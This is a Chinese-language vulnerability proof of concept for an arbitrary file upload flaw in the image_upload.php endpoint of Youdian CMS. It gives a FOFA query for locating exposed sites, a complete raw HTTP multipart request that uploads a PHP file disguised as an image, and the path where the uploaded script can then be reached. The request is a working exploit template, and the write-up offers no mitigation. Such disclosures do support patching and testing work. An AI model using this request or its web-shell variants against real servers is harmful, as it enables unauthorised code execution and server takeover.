友点CMS image_upload.php 文件上传漏洞
一、漏洞简介
友点CMS是一款高效且灵活的网站管理系统，它为用户提供了简单易用的界面和丰富的功能。无论是企业还是个人，都能通过友点CMS快速搭建出专业且美观的网站。该系统支持多种内容类型和自定义模板，方便用户按需调整。同时，它具备强大的SEO功能，能提升网站在搜索引擎中的排名。友点CMS还支持多语言设置，适应国际化需求。总的来说，友点CMS是网站建设的理想选择，既高效又易用。友点CMS建站系统image_upload.php 接口处存在文件上传漏洞，恶意攻击者可能会利用此漏洞上传恶意文件，从而获取服务器权限。
二、影响版本
- 友点cms
三、资产测绘
- fofa
app="友点建站-CMS" - 特征
四、漏洞复现
POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 161
Connection: close
--00content0boundary00
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpg
<?php phpinfo();?>
--00content0boundary00--
上传文件位置
/Public/image/uploads/1708964444653.php